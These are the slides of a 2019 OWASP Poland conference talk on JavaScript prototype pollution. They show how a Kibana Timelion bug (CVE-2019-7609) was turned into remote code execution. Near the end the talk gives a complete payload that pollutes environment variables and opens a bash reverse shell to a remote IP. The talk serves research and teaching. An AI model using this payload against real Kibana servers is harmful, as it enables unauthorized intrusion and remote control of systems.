Prototype Pollution

Michał Bentkowski / securitum

@SecurityMB

Michał Bentkowski

  • Working at Securitum
  • Pentester / Researcher / Web Security Instructor
  • Bug bounty hunter
    • 0x08 place at Google's 0x0A
  • Loving client-side security
  • Speaking XSS

Agenda

  • Prototype-based inheritance
  • What's prototype pollution anyway?
  • DEMO: RCE via prototype pollution in Kibana
  • Lessons learnt

Let's talk about JavaScript

How can I access toString if it is not a property of obj?

The answer: prototype-based inheritance

Every object in JavaScript has a prototype

It can also be null

We can access it via __proto__

prop1
prop2
__proto__

obj

__defineGetter__
__defineSetter__
...
toString()
__proto__

Object.prototype

null

Prototype chain

prop1
prop2
__proto__

obj

__defineGetter__
__defineSetter__
...
toString()
__proto__

Object.prototype

null

prop3
prop4
__proto__

obj2

When trying to access obj.prop3...

  1. Look if it is a property of obj
  2. If it's not, look if it is a property of obj2
  3. It is! Process finished
...
__proto__

obj1

...
__proto__

obj2

...
__proto__

obj3

...
__proto__

objN

.

.

.

In a nutshell, if JS engine looks for a property in obj1, it needs to traverse the entire prototype chain.

The prototype chain ends when
__proto__ === null.

Almost always, the final object (objN) is Object.prototype

null

Prototype pollution

Prototype pollution occurs when there is a bug in application that makes it possible to pollute Object.prototype with arbitrary properties.

Suppose we have a code

if (user.isAdmin) {
	// Do something important
}

And there's a bug in application so we can assign:

Object.prototype.isAdmin = true

Then everyone is an admin!

For general info about prototype pollution (eg. how to achieve it), check out the research by Olivier Arteau:

... because in this presentation, I'm going to focus on one specific instance of prototype pollution.

Prototype Pollution in Kibana

During a training organized by Securitum, one participant, Bartłomiej Pokrzywiński, wanted to practice exploiting a real-world vulnerability, on the example of CVE-2019-7609, and was looking for some support.

And this indeed led to a pretty interesting research how this vulnerability can be exploited in real world.

This is a way to pollute the

prototype

Let's see how we can DoS the application...

In real world, Kibana needs to be restarted at this point.

But I can fix it via debugger.

After "fixing" Object.prototype, Kibana works fine again.

What we know

  1. We have a prototype pollution in Timelion.

Next steps

Now I had to find some code to transform prototype pollution to RCE.

I had not idea what exactly I was looking for.

Next steps

The dreamy code would be similar to:

if (obj.jsCode) {
  eval(obj.jsCode);
}

😀

Obviously, didn't find anything like that.

Next steps

But, incidentally, I noticed something peculiar.

At this point, I noticed a lot of errors in the Kibana output.

🤔

Why so many errors?

I run Kibana with --inspect

(this runs the debugger on port 9229).

And now I'm getting a lot of errors that the port is already used.

Conclusion: Kibana tries to spawn a new process!

What we know

  1. We have a prototype pollution in Timelion.
  2. After clicking "Canvas", Kibana spawns a new process.

This function is basically a prototype pollution paradise.

 

Lots of undefined properties are being accessed.

 

All of them can be polluted.

This is a list of environmental variables that will be passed to the new process

What we know

  1. We have a prototype pollution in Timelion.
  2. After clicking "Canvas", Kibana spawns a new process.
  3. We can control the environmental variables passed to the new node process.

But perhaps there are other command line arguments that are equivalent to eval?

So I can run arbitrary JS code via
--require but I need to upload my own file to the Kibana server.

... or do I?

This is a valid
JS code

This confirms that I can execute arbitrary JS code if I control env variables when spawning node process.

No file upload needed!

What we know

  1. We have a prototype pollution in Timelion.
  2. After clicking "Canvas", Kibana spawns a new process.
  3. We can control the environmental variables passed to the new node process.
  4. We can execute arbitrary JavaScript code if we control environmental variables to the new node process.
  5. The only thing missing is to turn it into a real RCE!

🎉🎉🎉

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

The payload

Summary

  1. We have a prototype pollution in Timelion.
  2. After clicking "Canvas", Kibana spawns a new process.
  3. We can control the environmental variables passed to the new node process.
  4. We can execute arbitrary JavaScript code if we control environmental variables to the new node process.
  5. This leads to RCE in Kibana < 6.6.0.

Other thoughts

The exploit is not perfectly reliable.

If the new process has already been spawned, we cannot run another one.

Other thoughts

It is also not perfect.

I'm abusing some specific feature of Linux (/proc/self/environ). Would be better if the exploit was pure JS.

Other thoughts

What I find is basically a gadget: if an application is vulnerable to prototype pollution, and it spawns a new process, we can use exactly the same code.

Ideas for research

  • Find more gadgets in node's stdlib.
  • Perhaps a tool like ysoserial
    (ysopolluted?)
  • How to find gadgets in efficient manner

Final conclusion

When stars are aligned, prototype pollution can be exploited to RCE.

Thanks!

Prototype Pollution in Kibana

By securitymb

Prototype Pollution in Kibana

Presentation I did for OWASP Poland Day, 14th October 2019

  • 11,397
Loading comments...